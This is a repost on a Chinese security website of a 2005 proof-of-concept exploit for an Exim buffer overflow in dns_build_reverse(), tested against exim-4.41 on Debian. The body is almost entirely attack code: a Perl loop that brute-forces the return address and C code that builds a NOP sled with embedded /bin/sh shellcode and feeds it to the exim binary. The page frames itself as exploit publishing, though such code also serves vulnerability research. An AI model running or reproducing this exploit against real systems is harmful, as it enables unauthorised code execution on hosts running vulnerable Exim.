首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EXIM dns_buld_reverse() PoC
来源:www.vfocus.net 作者:str0ke 发布时间:2005-01-19  

EXIM dns_buld_reverse() PoC

/*

Still testing this one out, /str0ke

This proof-of-concept demonstrates the existence of the vulnerability
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

-----------
Brute Force fb.pl:
-----------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
$hex = sprintf ("0x%x", $cnt);
$res = system ("./exploit $hex");
printf "$hex : $res\n";
$cnt += 4;
}

---------
exploit.c:
---------
*/

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";

char buffer [TAMBUF + 1];
char cadena [TAMBUF + 5];
int cont;
unsigned long ret = strtoul (argv[1], NULL, 16);

for (cont = 0; cont < TAMBUF / 4; cont++)
*( (long *) buffer + cont) = ret;

for (cont = 0; cont < strlen (shellcode); cont++)
buffer [cont + INIC_SH] = shellcode [cont];

for (cont = 0; cont < INIC_SH; cont++)
buffer [cont] = NOP;

buffer [TAMBUF] = 0;
printf ("RET = 0x%x\n", ret);
strcpy (cadena, "::%A");
strcat (cadena, buffer);
execl ("/usr/sbin/exim", "./exim", "-bh", cadena, (char *) 0);



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Peer2Mail Encrypted Password D
·fkey v0.0.2 Local File Accessi
·NodeManager Professional 2.00
·MacOSX <= 10.3.7 Input Vali
·Linux kernel i386 SMP race con
·Microsoft Internet Explorer .A
·Apple iTunes Playlist Remote B
·Mac OS X 10.3 iSync 'mRouter'
·Apple iTunes Playlist Buffer O
·最新Help ActiveX控件网页木马
·ITA Forum <= 1.49 SQL Injec
·Search and Replace Compressed
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved